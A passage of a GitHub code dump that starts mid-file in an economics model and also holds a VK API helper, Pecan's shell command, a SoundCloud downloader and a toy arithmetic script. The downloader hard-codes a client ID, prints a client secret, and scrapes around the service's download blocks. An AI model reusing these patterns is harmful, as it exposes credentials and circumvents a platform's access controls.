PH * G_T + P * IT)\n    goods_mkt_NT[:] = GDP_NT * PNT - (PNT * CNT + PNT * G_NT + P * INT)\n\n    PC_beta = 1 / (1 + ss.r)\n    piWT[:], piWT_p = Inf(WT, ss.WT)\n    piWNT[:], piWNT_p = Inf(WNT, ss.WNT)\n    pi_l = lag(ss.pi, pi)\n\n    v_prime = par.psi[0] * (NT / par.sT) ** par.inv_frisch\n    LHS_WPC_T = ((1+piWT)/(1+pi_l)**par.piW_index - 1) * (1+piWT)/(1+pi_l)**par.piW_index \n    RHS_WPC_T = par.NKWslope[0] * NT * (v_prime - (1-tau)*wT * 1/par.muw[0] * UC_T) + PC_beta * ((1+piWT_p)/(1+pi)**par.piW_index - 1) * (1+piWT_p)/(1+pi)**par.piW_index\n    \n    NKWPCT[:] = LHS_WPC_T - RHS_WPC_T\n\n    v_prime = par.psi[1] * (NNT / (1 - par.sT)) ** par.inv_frisch\n    LHS_WPC_NT = ((1+piWNT)/(1+pi_l)**par.piW_index - 1) * (1+piWNT)/(1+pi_l)**par.piW_index\n    RHS_WPC_NT = par.NKWslope[1] * NNT * (\n                v_prime - (1-tau)*wNT * 1/par.muw[1] * UC_NT) + PC_beta * ((1+piWNT_p)/(1+pi)**par.piW_index - 1) * (1+piWNT_p)/(1+pi)**par.piW_index\n    \n\n    NKWPCNT[:] = LHS_WPC_NT - RHS_WPC_NT\n\n","repo_name":"JeppeDruedahl/Lectures_IIES","sub_path":"Lecture4/I-HANK/Code/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":28006,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"60"}
+{"seq_id":"4381438581","text":"import requests\nimport files\n\n# Получение статуса рассылки\ndef status(token):\n    url = \"https://broadcast.vkforms.ru/api/v2/broadcast?token=\" + token\n    code = {}\n    data = dict(code=code, access_token=token)\n    headers = {'Content-Type': 'application/json'}\n    resp = requests.post(url, data=json.dumps(data), headers=headers)\n    answer = resp.json()\n    return answer\n\n\n# Получение списка пользователей:\ndef users(token, list):\n    sting = \"https://broadcast.vkforms.ru/api/v2/list/\" + str(list) + \"?format=json&token=\" + token\n    response = requests.get(sting)\n    return response\n\n\n# Получение данных пользователей:\ndef userdata(token, user_ids):\n    uid_string = []\n    for uid in user_ids:\n        uid_string.append(uid)\n    uid_str = ','.join(map(str, uid_string))\n    fields = 'last_seen,sex,bdate,city,country,contacts,site,status,has_photo,photo_200'\n    version = '5.130'\n    response = requests.get('https://api.vk.com/method/users.get',\n                            params={'access_token': token,\n                                    'user_ids': uid_str,\n                                    'fields': fields,\n                                    'v': version\n                                    }\n                            )\n    return response.json()\n\n\n# Отправка сообщений администратору\ndef report(message, user_id, token):\n    version = '5.126'\n    response = requests.get('https://api.vk.com/method/messages.send',\n                            params={'access_token': token,\n                                    'message': message,\n                                    'user_id': user_id,\n                                    'v': version\n                                    }\n                            )\n    return response.json()","repo_name":"codesshaman/sendler","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18556111122","text":"\"\"\"\nShell command for Pecan.\n\"\"\"\nfrom pecan.commands import BaseCommand\ntry:\n    from webtest import TestApp\nexcept ImportError:\n    TestApp = None\nfrom warnings import warn\nimport sys\n\n\nclass NativePythonShell(object):\n    \"\"\"\n    Open an interactive python shell with the Pecan app loaded.\n    \"\"\"\n\n    @classmethod\n    def invoke(cls, ns, banner):  # pragma: nocover\n        \"\"\"\n        :param ns: local namespace\n        :param banner: interactive shell startup banner\n\n        Embed an interactive native python shell.\n        \"\"\"\n        import code\n        py_prefix = sys.platform.startswith('java') and 'J' or 'P'\n        shell_banner = 'Pecan Interactive Shell\\n%sython %s\\n\\n' % \\\n            (py_prefix, sys.version)\n        shell = code.InteractiveConsole(locals=ns)\n        try:\n            import readline  # noqa\n        except ImportError:\n            pass\n        shell.interact(shell_banner + banner)\n\n\nclass IPythonShell(object):\n    \"\"\"\n    Open an interactive ipython shell with the Pecan app loaded.\n    \"\"\"\n\n    @classmethod\n    def invoke(cls, ns, banner):  # pragma: nocover\n        \"\"\"\n        :param ns: local namespace\n        :param banner: interactive shell startup banner\n\n        Embed an interactive ipython shell.\n        Try the InteractiveShellEmbed API first, fall back on\n        IPShellEmbed for older IPython versions.\n        \"\"\"\n        try:\n            from IPython.frontend.terminal.embed import (\n                InteractiveShellEmbed\n            )\n            # try and load their default profile\n            from IPython.frontend.terminal.ipapp import (\n                load_default_config\n            )\n            config = load_default_config()\n            shell = InteractiveShellEmbed(config=config, banner2=banner)\n            shell(local_ns=ns)\n        except ImportError:\n            # Support for the IPython <= 0.10 shell API\n            from IPython.Shell import IPShellEmbed\n            shell = IPShellEmbed(argv=[])\n            shell.set_banner(shell.IP.BANNER + '\\n\\n' + banner)\n            shell(local_ns=ns, global_ns={})\n\n\nclass BPythonShell(object):\n    \"\"\"\n    Open an interactive bpython shell with the Pecan app loaded.\n    \"\"\"\n\n    @classmethod\n    def invoke(cls, ns, banner):  # pragma: nocover\n        \"\"\"\n        :param ns: local namespace\n        :param banner: interactive shell startup banner\n\n        Embed an interactive bpython shell.\n        \"\"\"\n        from bpython import embed\n        embed(ns, ['-i'], banner)\n\n\nclass ShellCommand(BaseCommand):\n    \"\"\"\n    Open an interactive shell with the Pecan app loaded.\n    Attempt to invoke the specified python shell flavor\n    (ipython, bpython, etc.). Fall back on the native\n    python shell if the requested flavor variance is not\n    installed.\n    \"\"\"\n\n    SHELLS = {\n        'python': NativePythonShell,\n        'ipython': IPythonShell,\n        'bpython': BPythonShell,\n    }\n\n    arguments = BaseCommand.arguments + ({\n        'name': ['--shell', '-s'],\n        'help': 'which Python shell to use',\n        'choices': SHELLS.keys(),\n        'default': 'python'\n    },)\n\n    def run(self, args):\n        \"\"\"\n        Load the pecan app, prepare the locals, sets the\n        banner, and invokes the python shell.\n        \"\"\"\n        super(ShellCommand, self).run(args)\n\n        # load the application\n        app = self.load_app()\n\n        # prepare the locals\n        locs = dict(__name__='pecan-admin')\n        locs['wsgiapp'] = app\n        if TestApp:\n            locs['app'] = TestApp(app)\n\n        model = self.load_model(app.config)\n        if model:\n            locs['model'] = model\n\n        # insert the pecan locals\n        from pecan import abort, conf, redirect, request, response\n        locs['abort'] = abort\n        locs['conf'] = conf\n        locs['redirect'] = redirect\n        locs['request'] = request\n        locs['response'] = response\n\n        # prepare the banner\n        banner = '  The following objects are available:\\n'\n        banner += '  %-10s - This project\\'s WSGI App instance\\n' % 'wsgiapp'\n        banner += '  %-10s - The current configuration\\n' % 'conf'\n        if TestApp:\n            banner += '  %-10s - webtest.TestApp wrapped around wsgiapp\\n' % 'app'  # noqa\n        if model:\n            model_name = getattr(\n                model,\n                '__module__',\n                getattr(model, '__name__', 'model')\n            )\n            banner += '  %-10s - Models from %s\\n' % ('model', model_name)\n\n        self.invoke_shell(locs, banner)\n\n    def invoke_shell(self, locs, banner):\n        \"\"\"\n        Invokes the appropriate flavor of the python shell.\n        Falls back on the native python shell if the requested\n        flavor (ipython, bpython,etc) is not installed.\n        \"\"\"\n        shell = self.SHELLS[self.args.shell]\n        try:\n            shell().invoke(locs, banner)\n        except ImportError as e:\n            warn((\n                \"%s is not installed, `%s`, \"\n                \"falling back to native shell\") % (self.args.shell, e),\n                RuntimeWarning\n            )\n            if shell == NativePythonShell:\n                raise\n            NativePythonShell().invoke(locs, banner)\n\n    def load_model(self, config):\n        \"\"\"\n        Load the model extension module\n        \"\"\"\n        for package_name in getattr(config.app, 'modules', []):\n            module = __import__(package_name, fromlist=['model'])\n            if hasattr(module, 'model'):\n                return module.model\n        return None\n","repo_name":"pecan/pecan","sub_path":"pecan/commands/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"60"}
+{"seq_id":"17456788920","text":"from __future__ import unicode_literals\r\n\r\nimport os\r\nimport re\r\nimport requests\r\nimport soundcloud\r\nimport sys\r\nimport urllib\r\nimport json\r\nimport datetime, time\r\n\r\nfrom clint.textui import colored, puts, progress, indent\r\nfrom datetime import datetime\r\nfrom mutagen.mp3 import MP3, EasyMP3\r\nfrom mutagen.id3 import APIC, WXXX\r\nfrom mutagen.id3 import ID3 as OldID3\r\nfrom os.path import dirname, exists, join\r\nfrom os import access, mkdir, W_OK\r\n\r\n#configloader\r\ndef _load_file(fname):\r\n    if os.path.isfile(fname):\r\n        with open(fname, 'r') as f:\r\n            return json.loads(f.read())\r\n\r\n####################################################################\r\ndir_path = os.path.dirname(os.path.realpath(__file__))\r\nloader = _load_file('db/soundcloud_config.json')\r\nCLIENT_ID = _load_file('db/soundcloud_config.json')['soundcloud']['CLIENT_ID']\r\nAGGRESSIVE_CLIENT_ID = _load_file('db/soundcloud_config.json')['soundcloud']['AGGRESSIVE_CLIENT_ID']\r\nAPP_VERSION = _load_file('db/soundcloud_config.json')['soundcloud']['APP_VERSION']\r\nvargs = _load_file('db/soundcloud_config.json')['vargs']\r\n####################################################################\r\n\r\ndef console_msg():\r\n    if sys.platform == \"win32\":\r\n        os.system(\"chcp 65001\")\r\n        os.system(\"cls\")\r\n    \r\n    files = os.listdir(path='%s\\music' % dir_path)\r\n    puts(colored.yellow('SOUNDCLOUD DOWNLOADER v 1.0'))\r\n    lines = [\r\n        \">\" * 50,\r\n        \"> AUTHOR: %s\" % loader['AUTHOR'],\r\n        \"> APP_VERSION: %s\" % APP_VERSION,\r\n        \"> CLIENT_ID: %s\" % CLIENT_ID,\r\n        \"> AGGRESSIVE_ID: %s\" % AGGRESSIVE_CLIENT_ID,\r\n        \"> CLIENT_SECRET: %s\" % loader['soundcloud']['CLIENT_SECRET'],\r\n        \"> PATH: %s\\music\" % dir_path,\r\n        \"> DATE: %s\" % time.ctime(int(time.time())),\r\n        \">\" * 50,\r\n        \"\\n\"\r\n        ]\r\n        \r\n    for x in lines:\r\n            with indent(1):\r\n                puts(x)\r\n    print(' ==PLAYLIST(%s)==' % files.__len__())            \r\n    for file in files:\r\n            with indent(1):\r\n                puts(file)\r\n\r\ndef main():\r\n    # Hack related to #58\r\n    console_msg()\r\n    \r\n    if vargs['debug'] == True:\r\n            URL = input(colored.green('URL/Link: '))\r\n            vargs['artist_url'] = [URL.split('?')[0]]\r\n    else:\r\n            vargs['artist_url'] = [sys.argv[1]]\r\n            print(vargs['artist_url'])\r\n\r\n    if not vargs['artist_url']:\r\n        print('Please supply an artist\\'s username or URL!')\r\n\r\n    if sys.version_info < (3,0,0):\r\n        vargs['artist_url'] = urllib.quote(vargs['artist_url'][0], safe=':/')\r\n    else:\r\n        vargs['artist_url'] = urllib.parse.quote(vargs['artist_url'][0], safe=':/')\r\n\r\n    artist_url = vargs['artist_url']\r\n\r\n    if not exists(vargs['path']):\r\n        if not access(dirname(vargs['path']), W_OK):\r\n            vargs['path'] = '%s/music' % dir_path\r\n        else:\r\n            mkdir(vargs['path'])\r\n\r\n        os.system(\"CLS\")\r\n        process_soundcloud(vargs)\r\n        \r\n\r\n####################################################################\r\n# SoundCloud\r\n####################################################################\r\n\r\n\r\ndef process_soundcloud(vargs):\r\n    \"\"\"\r\n    Main SoundCloud path.\r\n    \"\"\"\r\n\r\n    artist_url = vargs['artist_url']\r\n    track_permalink = vargs['track']\r\n    keep_previews = vargs['keep']\r\n    folders = vargs['folders']\r\n\r\n    id3_extras = {}\r\n    one_track = False\r\n    likes = False\r\n    client = get_client()\r\n    if 'soundcloud' not in artist_url.lower():\r\n        if vargs['group']:\r\n            artist_url = 'https://soundcloud.com/groups/' + artist_url.lower()\r\n        elif len(track_permalink) > 0:\r\n            one_track = True\r\n            track_url = 'https://soundcloud.com/' + artist_url.lower() + '/' + track_permalink.lower()\r\n        else:\r\n            artist_url = 'https://soundcloud.com/' + artist_url.lower()\r\n            if vargs['likes'] or 'likes' in artist_url.lower():\r\n                likes = True\r\n\r\n    if 'likes' in artist_url.lower():\r\n        artist_url = artist_url[0:artist_url.find('/likes')]\r\n        likes = True\r\n\r\n    if one_track:\r\n        num_tracks = 1\r\n    else:\r\n        num_tracks = vargs['num_tracks']\r\n\r\n    try:\r\n        if one_track:\r\n            resolved = client.get('/resolve', url=track_url, limit=200)\r\n\r\n        elif likes:\r\n            userId = str(client.get('/resolve', url=artist_url).id)\r\n\r\n            resolved = client.get('/users/' + userId + '/favorites', limit=200, linked_partitioning=1)\r\n            next_href = False\r\n            if(hasattr(resolved, 'next_href')):\r\n                next_href = resolved.next_href\r\n            while (next_href):\r\n\r\n                resolved2 = requests.get(next_href).json()\r\n                if('next_href' in resolved2):\r\n                    next_href = resolved2['next_href']\r\n                else:\r\n                    next_href = False\r\n                resolved2 = soundcloud.resource.ResourceList(resolved2['collection'])\r\n                resolved.collection.extend(resolved2)\r\n            resolved = resolved.collection\r\n\r\n        else:\r\n            resolved = client.get('/resolve', url=artist_url, limit=200)\r\n\r\n    except Exception as e:  # HTTPError?\r\n\r\n        # SoundScrape is trying to prevent us from downloading this.\r\n        # We're going to have to stop trusting the API/client and\r\n        # do all our own scraping. Boo.\r\n\r\n        if '404 Client Error' in str(e):\r\n            puts(colored.red(\"Problem downloading [404]: \") + colored.white(\"Item Not Found\"))\r\n            return None\r\n\r\n        message = str(e)\r\n        item_id = message.rsplit('/', 1)[-1].split('.json')[0].split('?client_id')[0]\r\n        hard_track_url = get_hard_track_url(item_id)\r\n\r\n        track_data = get_soundcloud_data(artist_url)\r\n        puts_safe(colored.green(\"Scraping\") + colored.white(\": \" + track_data['title']))\r\n\r\n        filenames = []\r\n        filename = sanitize_filename(track_data['artist'] + ' - ' + track_data['title'] + '.mp3')\r\n\r\n        if folders:\r\n            name_path = join(vargs['path'], track_data['artist'])\r\n            if not exists(name_path):\r\n                mkdir(name_path)\r\n            filename = join(name_path, filename)\r\n        else:\r\n            filename = join(vargs['path'], filename)\r\n\r\n        if exists(filename):\r\n            puts_safe(colored.yellow(\"Track already downloaded: \") + colored.white(track_data['title']))\r\n            return None\r\n\r\n        filename = download_file(hard_track_url, filename)\r\n        tagged = tag_file(filename,\r\n                 artist=track_data['artist'],\r\n                 title=track_data['title'],\r\n                 year='2018',\r\n                 genre='',\r\n                 album='',\r\n                 artwork_url='')\r\n\r\n        if not tagged:\r\n            wav_filename = filename[:-3] + 'wav'\r\n            os.rename(filename, wav_filename)\r\n            filename = wav_filename\r\n\r\n        filenames.append(filename)\r\n\r\n    else:\r\n\r\n        aggressive = False\r\n\r\n        # This is is likely a 'likes' page.\r\n        if not hasattr(resolved, 'kind'):\r\n            tracks = resolved\r\n        else:\r\n            if resolved.kind == 'artist':\r\n                artist = resolved\r\n                artist_id = str(artist.id)\r\n                tracks = client.get('/users/' + artist_id + '/tracks', limit=200)\r\n            elif resolved.kind == 'playlist':\r\n                id3_extras['album'] = resolved.title\r\n                if resolved.tracks != []:\r\n                    tracks = resolved.tracks\r\n                else:\r\n                    tracks = get_soundcloud_api_playlist_data(resolved.id)['tracks']\r\n                    tracks = tracks[:num_tracks]\r\n                    aggressive = True\r\n                    for track in tracks:\r\n                        download_track(track, resolved.title, keep_previews, folders, custom_path=vargs['path'])\r\n\r\n            elif resolved.kind == 'track':\r\n                tracks = [resolved]\r\n            elif resolved.kind == 'group':\r\n                group = resolved\r\n                group_id = str(group.id)\r\n                tracks = client.get('/groups/' + group_id + '/tracks', limit=200)\r\n            else:\r\n                artist = resolved\r\n                artist_id = str(artist.id)\r\n                tracks = client.get('/users/' + artist_id + '/tracks', limit=200)\r\n                if tracks == [] and artist.track_count > 0:\r\n                    aggressive = True\r\n                    filenames = []\r\n\r\n                    # this might be buggy\r\n                    data = get_soundcloud_api2_data(artist_id)\r\n\r\n                    for track in data['collection']:\r\n\r\n                        if len(filenames) >= num_tracks:\r\n                            break\r\n\r\n                        if track['type'] == 'playlist':\r\n                            track['playlist']['tracks'] = track['playlist']['tracks'][:num_tracks]\r\n                            for playlist_track in track['playlist']['tracks']:\r\n                                album_name = track['playlist']['title']\r\n                                filename = download_track(playlist_track, album_name, keep_previews, folders, filenames, custom_path=vargs['path'])\r\n                                if filename:\r\n                                    filenames.append(filename)\r\n                        else:\r\n                            d_track = track['track']\r\n                            filename = download_track(d_track, custom_path=vargs['path'])\r\n                            if filename:\r\n                                filenames.append(filename)\r\n\r\n        if not aggressive:\r\n            filenames = download_tracks(client, tracks, num_tracks, vargs['downloadable'], vargs['folders'], vargs['path'],\r\n                                        id3_extras=id3_extras)\r\n\r\n    if vargs['open']:\r\n        open_files(filenames)\r\n\r\n\r\ndef get_client():\r\n    \"\"\"\r\n    Return a new SoundCloud Client object.\r\n    \"\"\"\r\n    client = soundcloud.Client(client_id=CLIENT_ID)\r\n    return client\r\n\r\ndef download_track(track, album_name=u'', keep_previews=False, folders=False, filenames=[], custom_path=''):\r\n    \"\"\"\r\n    Given a track, force scrape it.\r\n    \"\"\"\r\n\r\n    hard_track_url = get_hard_track_url(track['id'])\r\n\r\n    # We have no info on this track whatsoever.\r\n    if not 'title' in track:\r\n        return None\r\n\r\n    if not keep_previews:\r\n        if (track.get('duration', 0) < track.get('full_duration', 0)):\r\n            puts_safe(colored.yellow(\"Skipping preview track\") + colored.white(\": \" + track['title']))\r\n            return None\r\n\r\n    # May not have a \"full name\"\r\n    name = track['user'].get('full_name', '')\r\n    if name == '':\r\n        name = track['user']['username']\r\n\r\n    filename = sanitize_filename(name + ' - ' + track['title'] + '.mp3')\r\n\r\n    if folders:\r\n        name_path = join(custom_path, name)\r\n        if not exists(name_path):\r\n            mkdir(name_path)\r\n        filename = join(name_path, filename)\r\n    else:\r\n        filename = join(custom_path, filename)\r\n\r\n    if exists(filename):\r\n        puts_safe(colored.yellow(\"Track already downloaded: \") + colored.white(track['title']))\r\n        return None\r\n\r\n    # Skip already downloaded track.\r\n    if filename in filenames:\r\n        return None\r\n\r\n    if hard_track_url:\r\n        puts_safe(colored.green(\"Scraping\") + colored.white(\": \" + track['title']))\r\n    else:\r\n        # Region coded?\r\n        puts_safe(colored.yellow(\"Unable to download\") + colored.white(\": \" + track['title']))\r\n        return None\r\n\r\n    filename = download_file(hard_track_url, filename)\r\n    tagged = tag_file(filename,\r\n             artist=name,\r\n             title=track['title'],\r\n             year=track['created_at'][:4],\r\n             genre=track['genre'],\r\n             album=album_name,\r\n             artwork_url=track['artwork_url'])\r\n    if not tagged:\r\n        wav_filename = filename[:-3] + 'wav'\r\n        os.rename(filename, wav_filename)\r\n        filename = wav_filename\r\n\r\n    return filename\r\n\r\ndef download_tracks(client, tracks, num_tracks=sys.maxsize, downloadable=False, folders=False, custom_path='', id3_extras={}):\r\n    \"\"\"\r\n    Given a list of tracks, iteratively download all of them.\r\n\r\n    \"\"\"\r\n\r\n    filenames = []\r\n\r\n    for i, track in enumerate(tracks):\r\n\r\n        # \"Track\" and \"Resource\" objects are actually different,\r\n        # even though they're the same.\r\n        if isinstance(track, soundcloud.resource.Resource):\r\n\r\n            try:\r\n\r\n                t_track = {}\r\n                t_track['downloadable'] = track.downloadable\r\n                t_track['streamable'] = track.streamable\r\n                t_track['title'] = track.title\r\n                t_track['user'] = {'username': track.user['username']}\r\n                t_track['release_year'] = track.release\r\n                t_track['genre'] = track.genre\r\n                t_track['artwork_url'] = track.artwork_url\r\n                if track.downloadable:\r\n                    t_track['stream_url'] = track.download_url\r\n                else:\r\n                    if downloadable:\r\n                        puts_safe(colored.red(\"Skipping\") + colored.white(\": \" + track.title))\r\n                        continue\r\n                    if hasattr(track, 'stream_url'):\r\n                        t_track['stream_url'] = track.stream_url\r\n                    else:\r\n                        t_track['direct'] = True\r\n                        streams_url = \"https://api.soundcloud.com/i1/tracks/%s/streams?client_id=%s&app_version=%s\" % (\r\n                        str(track.id), AGGRESSIVE_CLIENT_ID, APP_VERSION)\r\n                        response = requests.get(streams_url).json()\r\n                        t_track['stream_url'] = response['http_mp3_128_url']\r\n\r\n                track = t_track\r\n            except Exception as e:\r\n                puts_safe(colored.white(track.title) + colored.red(' is not downloadable.'))\r\n                continue\r\n\r\n        if i > num_tracks - 1:\r\n            continue\r\n        try:\r\n            if not track.get('stream_url', False):\r\n                puts_safe(colored.white(track['title']) + colored.red(' is not downloadable.'))\r\n                continue\r\n            else:\r\n                track_artist = sanitize_filename(track['user']['username'])\r\n                track_title = sanitize_filename(track['title'])\r\n                track_filename = track_artist + ' - ' + track_title + '.mp3'\r\n\r\n                if folders:\r\n                    track_artist_path = join(custom_path, track_artist)\r\n                    if not exists(track_artist_path):\r\n                        mkdir(track_artist_path)\r\n                    track_filename = join(track_artist_path, track_filename)\r\n                else:\r\n                    track_filename = join(custom_path, track_filename)\r\n\r\n                if exists(track_filename):\r\n                    puts_safe(colored.yellow(\"Track already downloaded: \") + colored.white(track_title))\r\n                    continue\r\n\r\n                puts_safe(colored.green(\"Downloading\") + colored.white(\": \" + track['title']))\r\n\r\n\r\n                if track.get('direct', False):\r\n                    location = track['stream_url']\r\n                else:\r\n                    stream = client.get(track['stream_url'], allow_redirects=False, limit=200)\r\n                    if hasattr(stream, 'location'):\r\n                        location = stream.location\r\n                    else:\r\n                        location = stream.url\r\n\r\n                filename = download_file(location, track_filename)\r\n                tagged = tag_file(filename,\r\n                         artist=track['user']['username'],\r\n                         title=track['title'],\r\n                         year=track['release_year'],\r\n                         genre=track['genre'],\r\n                         album=id3_extras.get('album', None),\r\n                         artwork_url=track['artwork_url'])\r\n\r\n                if not tagged:\r\n                    wav_filename = filename[:-3] + 'wav'\r\n                    os.rename(filename, wav_filename)\r\n                    filename = wav_filename\r\n\r\n                filenames.append(filename)\r\n        except Exception as e:\r\n            puts_safe(colored.red(\"Problem downloading \") + colored.white(track['title']))\r\n            puts_safe(str(e))\r\n\r\n    return filenames\r\n\r\n\r\n\r\ndef get_soundcloud_data(url):\r\n    \"\"\"\r\n    Scrapes a SoundCloud page for a track's important information.\r\n\r\n    Returns:\r\n        dict: of audio data\r\n\r\n    \"\"\"\r\n\r\n    data = {}\r\n\r\n    request = requests.get(url)\r\n\r\n    title_tag = request.text.split('<title>')[1].split('</title')[0]\r\n    data['title'] = title_tag.split(' by ')[0].strip()\r\n    data['artist'] = title_tag.split(' by ')[1].split('|')[0].strip()\r\n    # XXX Do more..\r\n\r\n    return data\r\n\r\n\r\ndef get_soundcloud_api2_data(artist_id):\r\n    \"\"\"\r\n    Scrape the new API. Returns the parsed JSON response.\r\n    \"\"\"\r\n\r\n    v2_url = \"https://api-v2.soundcloud.com/stream/users/%s?limit=500&client_id=%s&app_version=%s\" % (\r\n    artist_id, AGGRESSIVE_CLIENT_ID, APP_VERSION)\r\n    response = requests.get(v2_url)\r\n    parsed = response.json()\r\n\r\n    return parsed\r\n\r\ndef get_soundcloud_api_playlist_data(playlist_id):\r\n    \"\"\"\r\n    Scrape the new API. Returns the parsed JSON response.\r\n    \"\"\"\r\n\r\n    url = \"https://api.soundcloud.com/playlists/%s?representation=full&client_id=02gUJC0hH2ct1EGOcYXQIzRFU91c72Ea&app_version=1467724310\" % (\r\n        playlist_id)\r\n    response = requests.get(url)\r\n    parsed = response.json()\r\n\r\n    return parsed\r\n\r\ndef get_hard_track_url(item_id):\r\n    \"\"\"\r\n    Hard-scrapes a track.\r\n    \"\"\"\r\n\r\n    streams_url = \"https://api.soundcloud.com/i1/tracks/%s/streams/?client_id=%s&app_version=%s\" % (\r\n    item_id, AGGRESSIVE_CLIENT_ID, APP_VERSION)\r\n    response = requests.get(streams_url)\r\n    json_response = response.json()\r\n\r\n    if response.status_code == 200:\r\n        hard_track_url = json_response['http_mp3_128_url']\r\n        return hard_track_url\r\n    else:\r\n        return None\r\n\r\n\r\n####################################################################\r\n# File Utility\r\n####################################################################\r\n\r\n\r\ndef download_file(url, path, session=None, params=None):\r\n    \"\"\"\r\n    Download an individual file.\r\n    \"\"\"\r\n\r\n    if url[0:2] == '//':\r\n        url = 'https://' + url[2:]\r\n\r\n    # Use a temporary file so that we don't import incomplete files.\r\n    tmp_path = path + '.tmp'\r\n\r\n    if session and params:\r\n        r = session.get( url, params=params, stream=True )\r\n    elif session and not params:\r\n        r = session.get( url, stream=True )\r\n    else:\r\n        r = requests.get(url, stream=True)\r\n    with open(tmp_path, 'wb') as f:\r\n        total_length = int(r.headers.get('content-length', 0))\r\n        for chunk in progress.bar(r.iter_content(chunk_size=1024), expected_size=(total_length / 1024) + 1):\r\n            if chunk:  # filter out keep-alive new chunks\r\n                f.write(chunk)\r\n                f.flush()\r\n\r\n    os.rename(tmp_path, path)\r\n\r\n    return path\r\n\r\n\r\ndef tag_file(filename, artist, title, year=None, genre=None, artwork_url=None, album=None, track_number=None, url=None):\r\n    \"\"\"\r\n    Attempt to put ID3 tags on a file.\r\n\r\n    Args:\r\n        artist (str):\r\n        title (str):\r\n        year (int):\r\n        genre (str):\r\n        artwork_url (str):\r\n        album (str):\r\n        track_number (str):\r\n        filename (str):\r\n        url (str):\r\n    \"\"\"\r\n\r\n    try:\r\n        audio = EasyMP3(filename)\r\n        audio.tags = None\r\n        audio[\"artist\"] = artist\r\n        audio[\"title\"] = title\r\n        if year:\r\n            audio[\"date\"] = str(year)\r\n        if album:\r\n            audio[\"album\"] = album\r\n        if track_number:\r\n            audio[\"tracknumber\"] = track_number\r\n        if genre:\r\n            audio[\"genre\"] = genre\r\n        if url: # saves the tag as WOAR\r\n            audio[\"website\"] = url\r\n        audio.save()\r\n\r\n        if artwork_url:\r\n\r\n            artwork_url = artwork_url.replace('https', 'http')\r\n\r\n            mime = 'image/jpeg'\r\n            if '.jpg' in artwork_url:\r\n                mime = 'image/jpeg'\r\n            if '.png' in artwork_url:\r\n                mime = 'image/png'\r\n\r\n            if '-large' in artwork_url:\r\n                new_artwork_url = artwork_url.replace('-large', '-t500x500')\r\n                try:\r\n                    image_data = requests.get(new_artwork_url).content\r\n                except Exception as e:\r\n                    # No very large image available.\r\n                    image_data = requests.get(artwork_url).content\r\n            else:\r\n                image_data = requests.get(artwork_url).content\r\n\r\n            audio = MP3(filename, ID3=OldID3)\r\n            audio.tags.add(\r\n                APIC(\r\n                    encoding=3,  # 3 is for utf-8\r\n                    mime=mime,\r\n                    type=3,  # 3 is for the cover image\r\n                    desc='Cover',\r\n                    data=image_data\r\n                )\r\n            )\r\n            audio.save()\r\n\r\n        # because there is software that doesn't seem to use WOAR we save url tag again as WXXX\r\n        if url:\r\n            audio = MP3(filename, ID3=OldID3)\r\n            audio.tags.add( WXXX( encoding=3, url=url ) )\r\n            audio.save()\r\n\r\n        return True\r\n\r\n    except Exception as e:\r\n        puts(colored.red(\"Problem tagging file: \") + colored.white(\"Is this file a WAV?\"))\r\n        return False\r\n\r\ndef open_files(filenames):\r\n    \"\"\"\r\n    Call the system 'open' command on a file.\r\n    \"\"\"\r\n    command = ['open'] + filenames\r\n    process = Popen(command, stdout=PIPE, stderr=PIPE)\r\n    stdout, stderr = process.communicate()\r\n\r\n\r\ndef sanitize_filename(filename):\r\n    \"\"\"\r\n    Make sure filenames are valid paths.\r\n\r\n    Returns:\r\n        str:\r\n    \"\"\"\r\n    sanitized_filename = re.sub(r'[/\\\\:*?\"<>|]', '-', filename)\r\n    sanitized_filename = sanitized_filename.replace('&', 'and')\r\n    sanitized_filename = sanitized_filename.replace('\"', '')\r\n    sanitized_filename = sanitized_filename.replace(\"'\", '')\r\n    sanitized_filename = sanitized_filename.replace(\"/\", '')\r\n    sanitized_filename = sanitized_filename.replace(\"\\\\\", '')\r\n\r\n    # Annoying.\r\n    if sanitized_filename[0] == '.':\r\n        sanitized_filename = u'dot' + sanitized_filename[1:]\r\n\r\n    return sanitized_filename\r\n\r\ndef puts_safe(text):\r\n    if sys.platform == \"win32\":\r\n        if sys.version_info < (3,0,0):\r\n            puts(text)\r\n        else:\r\n            puts(text.encode(sys.stdout.encoding, errors='replace').decode())\r\n    else:\r\n        puts(text)\r\n\r\n\r\n####################################################################\r\n# Main\r\n####################################################################\r\n\r\nif __name__ == '__main__':\r\n    try:\r\n        sys.exit(main())\r\n    except Exception as e:\r\n        print(e)","repo_name":"neuroeidos/scdlcmd","sub_path":"sound_app.py","file_name":"sound_app.py","file_ext":"py","file_size_in_byte":22892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15445801246","text":"##!/usr/bin/env python\r\n#day2 operate X! & sum of Y\r\n\r\nfrom re import X\r\n\r\n\r\noperation = 1\r\n\r\nfor i in range (1, 6):\r\n    operation = operation * i\r\nprint(\"5! = %d\" % (operation))\r\n\r\noperation = 0\r\nfor i in range (1, 6):\r\n    operation += i\r\nprint(\"sum 1 to 5 = %d\" % (operation))\r\n\r\nprint(\"X! = 1*2*3*....*X\")\r\nprint(\"sum(Y) = 1+2+3+....+Y\")\r\nOperand1 = int(input(\"Please input your X = \"))\r\nOperand2 = int(input(\"Please inout your Y = \"))\r\n\r\noperation = 1\r\nfor i in range (1, Operand1 + 1):\r\n    operation = operation * i\r\nOperand1 = operation\r\nprint(\"X! = %d\" % (Operand1))\r\noperation = 0\r\nfor i in range (1, Operand2 + 1):\r\n    operation += i\r\nOperand2 = operation\r\nprint(\"sum 1 to Y = %d\" % (Operand2))\r\n\r\nif Operand1 == Operand2 :\r\n    print(\"Yes X! = sum(Y)\")\r\nelse:\r\n    print(\"No X! != sum(Y)\")","repo_name":"ken020589/100daysOfCode","sub_path":"day2_operation.py","file_name":"day2_operation.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
